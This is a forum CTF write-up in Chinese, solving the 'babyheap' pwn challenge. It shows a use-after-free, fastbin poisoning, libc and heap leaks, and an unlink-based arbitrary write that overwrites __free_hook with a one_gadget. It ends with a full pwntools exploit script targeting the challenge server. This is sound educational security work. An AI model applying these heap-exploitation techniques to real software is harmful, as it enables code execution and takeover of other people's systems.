

前言

我看社区已经有人在发Writeup了，但是也不是特别全。其中 Pwn 部分少了个babyheap的题解。我在这里稍微补充下。

0x01 分析

题目四个功能，分别是new，change，show和delete。漏洞很明显在于delete函数。

```
1  __int64 delete()  
2  {  
3      unsigned int id; // [rsp+Ch] [rbp-24h]@1  
4      char s; // [rsp+10h] [rbp-20h]@1  
5      __int64 v3; // [rsp+28h] [rbp-8h]@1  
6  
7      v3 = *MK_FP(__FS__, 40LL);  
8      printf("Index:");  
9      memset(&s, 0, 0x10uLL);  
10     read(0, &s, 0xFuLL);  
11     id = atoi(&s);  
12     if ( id <= 9 && ptr[id] )  
13     {  
14         free(ptr[id]);  
15         puts("Done!");  
16     }  
17     return *MK_FP(__FS__, 40LL) ^ v3;  
18 }
```

在这个函数中，存在指针未置零的情况，可以造成UAF。

其次有几个注意的点 块只能新建9块，以及新建块的大小为 0x20，不可控。

```
1  v1 = atoi(&s);  
2  if ( v1 <= 9 && !ptr[v1] )  
3  {  
4      ptr[v1] = malloc(0x20uLL);  
5      printf("Content:", &s);  
6      myread_40092B(ptr[v1], 0x20u);  
7      puts("Done!");  
8  }
```

编辑一个块最多只能三次。

```

11 v1 = atoi(&s);
12 if ( v1 <= 0x1F && ptr[v1] && counter != 3 )
13 {
14     printf("Content:", &s);
15     myread_40092B(ptr[v1], 0x20u);
16     ++counter;
17     puts("Done!");
18 }
19 return *MK_FP(__FS__, 40LL) ^ v3;
20 }

```

先知社区

0x02 利用思路

```

root@8593c2d5ac83:/home/wd/babyheap/babyheap# checksec babyheap
[*] '/home/wd/babyheap/babyheap/babyheap'
Arch:      amd64-64-little
RELRO:     Full RELRO
Stack:     Canary found
NX:        NX enabled
PIE:       No PIE (0x400000)

```

由于块的大小是 0x20，可以想到是经典的fastbins attack + uaf。

第一步：思考 如何泄露出 libc 地址

由于我们需要最终需要知道 libc base 来构造最后的getshell payload。那么第一个思路是通过fake 一个chunk，让它分配到 unsortedbin 中，我们知道当一个chunk 在 unsortedbin中的时候，它的fd会指向 main_arena

```

0x603030 PREV_INUSE {
    prev_size = 0,
    size = 209,
    fd = 0x7ffff7dd1b78 <main_arena+88>,
    bk = 0x7ffff7dd1b78 <main_arena+88>,
    fd_nextsize = 0x0,
    bk_nextsize = 0x0
}

```

先知社区


由于 UAF 漏洞的存在，我们这个时候去 show 这个chunk 的时候程序会将他 fd的内容打印出来。这个时候就能泄露出 libc地址。

但是要fake 一个chunk我们需要heap的地址。所以我们首先去 泄露 heap 地址。

第二步 泄露 heap 地址。

由于fastbins 的特性，我们连续 free 两个chunk，这个时候会产生一个 fastbins 的freelist。

```
pwndbg> bins
fastbins
0x20: 0x0
0x30: 0x603000 → 0x603030 ← 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
```



这个时候 0x603000 的 chunk 的 fd 指向 0x603030，我们只需要 show 一下 0x603000 这个 chunk，就能得到 heap 地址：0x603030。注意，puts 存在截断，如果你是 0x603030 --> 0x603000 会存在 leak 不出来的问题。所以注意 free 的顺序。

```
Delete(1)
Delete(0)
#leak heap addr
Show(0)
heap_addr = u64(p.recvline()[ : -1].ljust(8, '\x00')) - 0x30
log.success('heap_addr:{}'.format(hex(heap_addr)))
```

第三步 泄露 libc 地址

要 fake 个 chunk 然后让它 free 之后被放到 unsortedbin，我们可以考虑 fastbins attack + overlap。

我们通过编辑 chunk 0 的 fd 让他指向 原本 fd=0x20 的位置。当我们把 chunk 0 和 chunk 1 重新申请回来后。（fastbins 的特性：后释放的，先被使用）

```
Edit(0, p64(heap_addr + 0x20) + p64(0) + p64(0) + p64(0x31))

Add(6, p64(0) + p64(0xa1) + '\n')
Add(7, p64(0) + p64(0xa1) + '\n')
```

并修改 size 和 fd 等等。由于，chunk 6 的 fd 被修改了，所以我们去修改 chunk 7 的时候，其实就是在修改我们正常 chunk 的 size。

```
0x603020: 0x0000000000000000 0x0000000000000031 <-- fake chunk
0x603030: 0x0000000000000000 0x00000000000000a1 <--- fake chunk size
0x603040: 0x0000000000000000 0x0000000000000000
0x603050: 0x0000000000000000 0x0000000000000000
0x603060: 0x0000000000000000 0x0000000000000031
0x603070: 0x4343434343434343 0x0000000000000000
0x603080: 0x0000000000000000 0x0000000000000000
0x603090: 0x0000000000000000 0x0000000000000031
0x6030a0: 0x4444444444444444 0x0000000000000000
0x6030b0: 0x0000000000000000 0x0000000000000000
```

伪造后的 chunk 由于我们设置了 size 变大了，所以默认会把后面的 chunk 给吞并。我们在设置基本块的时候要注意这个问题。

这个时候系统会认为 0x603020 这个伪造的 chunk 是存在的。所以当我们去 delete chunk 1。（由于 chunk 1 是后释放，所以申请到的 chunk 7 指向的其实是同一个块）。系统会把 0x603020 放到 unsortedbin 中。（unsortedbin 不是 fastbins 且不与 top chunk 紧邻，free 后会被放置到 unsortedbin 中）

紧接着，我们只需要把这个 chunk free 了。

```
0x603030 PREV_INUSE {
    prev_size = 0,
    size = 209,
    fd = 0x7ffff7dd1b78 <main_arena+88>,
    bk = 0x7ffff7dd1b78 <main_arena+88>,
    fd_nextsize = 0x0,
    bk_nextsize = 0x0
}
```



然后show，就能获得 libc base。

```
Edit(0, p64(heap_addr + 0x20) + p64(0) + p64(0) + p64(0x31))

Add(6, p64(0) + p64(0xa1) + '\n')
Add(7, p64(0) + p64(0xa1) + '\n')

# leak libc
Delete(1)
Show(1)
libc_address = u64(p.recvline()[ : -1].ljust(8, '\x00'))-0x3c4b78
log.success('libc_addr:{}'.format(hex(libc_address)))
```

第四步 通过unlink + uaf 来获得一个任意地址写

我们现在已经有了基本的信息。思路是修改 freehook 成one_gadget。然后进行一次free就能getshell。

要达到这种效果，我们需要一个任意地址写。

我们之前 free chunk 1 来获得一个libc 地址，这个时候如果顺便同过 unlink 来获得一个 任意地址写不上刚好么。所以

```
Add(0, 'AAAAAAA\n')
Add(1, 'BBBBBBBB\n')
Add(2, 'CCCCCCCC\n')
Add(3, 'DDDDDDDD\n')

Add(4, p64(0) + p64(0x31) + p64(0x602080 - 0x18) + p64(0x602080 - 0x10))
Add(5, p64(0x30) + p64(0x30) + '\n')
```

chunk 2 chunk 3 是用来修改 chunk1 size 让 chunk 1 来吞并的。当 free chunk 1的时候，我们构造好 unlink 的前提（现代 unlink 有检查。）fake 的 fd == 0x602080-0x18 刚好是 ptr[] 数组中，chunk 1 的位置。也是之后 new chunk 4 的位置。

当通过unlink 后我们得到一个 chunk 指向了 chunk1 同时 chunk 4 也指向了 chunk1。这个时候如果我们队chunk 1这块内存 写入 free_hook 的地址，然后再通过uaf 修改这个地址所指的，写成一个 one_gadget 就能getshell。

```
Edit(4, p64(libc_address + 0x3c67a8) + '\n')
Edit(1, p64(libc_address + one_gadget)[: -1] + '\n')

Delete(1)
```

效果如下：

```
f 1      7ffff7a2d830 __libc_start_main+240
pwndbg> x/20gx 0x602060
0x602060:      0x000000000000603010      0x00007ffff7dd37a8
0x602070:      0x000000000000603000      0x0000000000006030a0
0x602080:      0x000000000000602068      0x000000000000603100
0x602090:      0x000000000000603010      0x000000000000603030
0x6020a0:      0x000000000000000000      0x000000000000000000
0x6020b0:      0x000000000000000003      0x000000000000000000
0x6020c0:      0x000000000000000000      0x000000000000000000
0x6020d0:      0x000000000000000000      0x000000000000000000
0x6020e0:      0x000000000000000000      0x000000000000000000
0x6020f0:      0x000000000000000000      0x000000000000000000

pwndbg> x/20gx 0x00007ffff7dd37a8
0x7ffff7dd37a8 <__free_hook>: 0x00007ffff7a5226a      0x000000000000000000      one gadgte
0x7ffff7dd37b8 <next_to_use.11231>: 0x000000000000000000      0x000000000000000000
0x7ffff7dd37c8 <disallow_malloc_check>: 0x000000000000000000      0x000000000000000000
0x7ffff7dd37d8 <arena_mem>: 0x000000000000000000      0x000000000000000000
0x7ffff7dd37e8 <free_list>: 0x000000000000000000      0x000000000000000000
0x7ffff7dd37f8 <global_max_fast>: 0x000000000000000080      0x000000000000000000
0x7ffff7dd3808 <root>: 0x000000000000000000      0x000000000000000000
0x7ffff7dd3818 <old_realloc_hook>: 0x000000000000000000      0x000000000000000000
0x7ffff7dd3828 <old_malloc_hook>: 0x000000000000000000      0x000000000000000000
0x7ffff7dd3838 <added_atexit_handler.9387>: 0x000000000000000000      0x000000000000000000

pwndbg> x/20gx 0x00007ffff7a5226a
0x7ffff7a5226a <do_system+1098>: 0x480037ec47058b48      0x8d4800147adf3d8d
0x7ffff7a5227a <do_system+1114>: 0x38121905c7302474      0x1305c70000000000
0x7ffff7a5228a <do_system+1130>: 0x48000000000003812      0xbf000874d7e8108b
0x7ffff7a5229a <do_system+1146>: 0x08746de80000007f      0x1f0f2e66001f0f00
0x7ffff7a522aa: 0x4853000000000084      0xb800000000be3f63
0x7ffff7a522ba <cancel_handler+10>: 0x0ffb89480000003e      0x8b48001f0f10eb05
0x7ffff7a522ca <cancel_handler+26>: 0x3883640037eba905      0x89f631d231107504
0x7ffff7a522da <cancel_handler+42>: 0xf88300086d80e8df      0x00000001bee374ff
0x7ffff7a522ea <cancel_handler+58>: 0x0038444d3d83c031      0xa335b10ff00c7400
0x7ffff7a522fa <cancel_handler+74>: 0x0f23eb0b75003811      0x1a740038119835b1

dpwndbg>
```

0x03 完整 exp

#coding:utf-8

from mypwn import *

```
p,elf,libc = init_pwn('./babyheap','./libc.so.6',remote_detail = ('106.75.67.115',9999),is_env = False)
breakpoint = [0x400D59,0x400D65,0x0400D7D,0x400D71]
malloc_hook = 0x3C4B10
one_gadget = 0x4526A
```

```
def Add(index, data):
    p.recvuntil('Choice:')
    p.sendline('1')
    p.recvuntil('Index:')
    p.sendline(str(index))
    p.recvuntil('Content:')
    p.send(data)
```

```
def Edit(index, data):
    p.recvuntil('Choice:')
    p.sendline('2')
    p.recvuntil('Index:')
    p.sendline(str(index))
    p.recvuntil('Content:')
    p.send(data)
```

```

def Show(index):
    p.recvuntil('Choice:')
    p.sendline('3')
    p.recvuntil('Index:')
    p.sendline(str(index))

def Delete(index):
    p.recvuntil('Choice:')
    p.sendline('4')
    p.recvuntil('Index:')
    p.sendline(str(index))

Add(0, 'AAAAAAA\n')
Add(1, 'BBBBBBB\n')
Add(2, 'CCCCCCC\n')
Add(3, 'DDDDDDD\n')

Add(4, p64(0) + p64(0x31) + p64(0x602080 - 0x18) + p64(0x602080 - 0x10))
Add(5, p64(0x30) + p64(0x30) + '\n')

Delete(1)
Delete(0)

#leak heap addr
Show(0)
heap_addr = u64(p.recvline()[ : -1].ljust(8, '\x00')) - 0x30
log.success('heap_addr:{}'.format(hex(heap_addr)))

# # leak libc
# init_debug(p,breakpoint)
# raw_input('wait to debug')
Edit(0, p64(heap_addr + 0x20) + p64(0) + p64(0) + p64(0x31))

Add(6, p64(0) + p64(0xa1) + '\n')
Add(7, p64(0) + p64(0xa1) + '\n')

# leak libc
Delete(1)
Show(1)
libc_address = u64(p.recvline()[ : -1].ljust(8, '\x00'))-0x3c4b78
log.success('libc_addr:{}'.format(hex(libc_address)))

init_debug(p,breakpoint)
raw_input('wait to debug')
Edit(4,p64(libc_address + 0x3c67a8) + '\n')
Edit(1, p64(libc_address + one_gadget)[: -1] + '\n')

Delete(1)

p.interactive()

```

点击收藏 | 1 关注 | 3

[上一篇：【2018年 网鼎杯CTF 第一场...】](#) [下一篇：RSA 签名故障分析](#)

1. 0 条回复

- 动动手指，沙发就是你的了！

[登录](#) 后跟帖

[现在登录](#)

热门节点

[技术文章](#)

[社区小黑板](#)

目录

[RSS](#) [关于社区](#) [友情链接](#) [社区小黑板](#)